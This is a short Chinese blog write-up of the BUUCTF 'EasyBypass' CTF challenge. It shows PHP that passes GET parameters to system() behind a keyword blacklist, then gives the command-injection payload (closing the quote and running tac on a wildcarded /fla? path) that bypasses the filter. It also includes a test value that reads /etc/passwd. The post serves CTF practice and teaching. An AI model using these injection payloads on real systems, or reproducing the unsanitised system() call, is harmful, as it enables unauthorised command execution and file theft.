[BUUCTF]Easybypass

原创

N0Tai1学习又咕了 于 2021-04-16 20:17:02 发布 559 收藏

分类专栏： BUUCTF 文章标签： 安全 php shell

本文链接：https://blog.csdn.net/lllffg/article/details/115770965


BUUCTF 专栏收录该内容

4 篇文章 0 订阅

订阅专栏

EasyBypass

```php
<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|fla
g|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less|
|tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";
$flag = "#flag in /flag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
```

老规矩，先去掉过滤本地测试

```
?comm1=/etc/passwd
&comm2=/var/www/html/11.php";"ls
```

去掉过滤后可以成功执行，那思路基本是这样了

comm1过滤的少，我们从这里下手

```
?comm1=index.php";tac index.php;"
&comm2=1
```

```
?comm1=index.php";tac /fla?;"
&comm2=1
```

ok了…